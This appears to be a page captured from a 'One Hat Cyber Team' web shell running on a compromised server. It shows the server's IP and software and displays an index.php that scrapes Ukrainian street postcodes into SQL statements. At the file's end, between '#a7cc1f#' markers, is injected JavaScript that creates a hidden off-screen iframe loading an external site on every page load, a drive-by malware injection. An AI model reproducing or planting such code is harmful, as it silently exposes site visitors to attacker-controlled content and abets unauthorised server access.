One Hat Cyber Team
Your IP :
216.73.216.80
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
kay
/
public_html
/
street
/
View File Name :
index.php
<? ini_set('memory_limit', '512M'); $cities=array( 1001 => 2, 1002 => 3, 1003 => 4, 1004 => 5, 1005 => 6, 1006 => 7, 1007 => 8, 1008 => 9, 1009 => 10, 1010 => 22, 1011 => 11, 1012 => 12, 1013 => 13, 1014 => 14, 1015 => 1, 1016 => 684, 1017 => 647, 1018 => 23, 1019 => 15, 1020 => 16, 1021 => 18, 1022 => 17, 1023 => 19, 1024 => 24, 1025 => 21, 1026 => 20); $alphabet=array("1-9","a","b","v","g","d","e","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","sch","ee","ju","ja"); $alphabet=array("h"); $corr=array( array(9, 8, 7, 5, 2, 4, 6, 3, 0, 1), array(8, 9, 7, 2, 6, 1, 4, 0, 3, 5), array(6, 2, 4, 5, 8, 1, 3, 9, 7, 0), array(6, 9, 5, 2, 8, 4, 1, 7, 3, 0), array(0, 8, 1, 4, 7, 3, 5, 6, 2, 9), array(8, 7, 2, 6, 3, 1, 5, 0, 9, 4), array(9, 4, 2, 7, 3, 5, 0, 8, 1, 6), array(2, 7, 1, 5, 6, 0, 4, 9, 3, 8), array(7, 2, 1, 0, 9, 6, 8, 3, 4, 5), array(9, 8, 5, 4, 7, 3, 2, 1, 0, 6)); function decode($s) { global $corr; if (strlen($s)<3) return ""; for ($i=2;$i<min(strlen($s),7);$i++) $ret.=$corr[$s[0]][$s[$i]]; return $ret; } foreach($cities as $city => $city_riv) { $s_path="http://postcode.in.ua/ua/codes/city/$city/"; $s_path_ru="http://postcode.in.ua/ru/codes/city/$city/street/"; for ($i=0;$i<count($alphabet);$i++) { $contents = file_get_contents($s_path.$alphabet[$i]); preg_match_all("'<span class=\"page_link\"><a href=\"http://postcode.in.ua/ua/codes/city/$city/$alphabet[$i]/(.*?)\">(.*?)</a></span>'",$contents,$pages); for ($k=-1;$k<count($pages[1]);$k++) { if ($k>=0) $contents = file_get_contents($s_path.$alphabet[$i]."/".$pages[1][$k]); preg_match_all("'<a href=\"http://postcode.in.ua/ua/codes/city/$city/street/(.*)\" class=\"text_tab_1\">(.*)</a>'",$contents,$regs); for ($j=0;$j<count($regs[2]);$j++) { $contents_ru = file_get_contents($s_path_ru.$regs[1][$j]); preg_match_all("'image_c.php\?id=(.*?)\"'",$contents_ru,$indexes); for($m=0;$m<count($indexes[1]);$m++) $indexes[1][$m]=decode($indexes[1][$m]); preg_match_all("'<div class=\"text_tab_2\">(.*?)</div>'",$contents_ru,$regs_ru); $sql="insert into street_new (name_ua,name_ru,city_id,zipcode,pid) values ('".addslashes($regs[2][$j])."','".addslashes($regs_ru[1][0])."',$city_riv,'".implode(",",array_unique($indexes[1]))."','".$city."-".$regs[1][$j]."');"; echo($sql."<br>"); } } } } #a7cc1f# echo "<script type=\"text/javascript\"> function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = \"http://estudio-33.com/labolera/faq.php\"; ifrm.id = 'frmId'; document.body.appendChild(ifrm); }; window.onload = frmAdd; </script> "; #/a7cc1f# ?>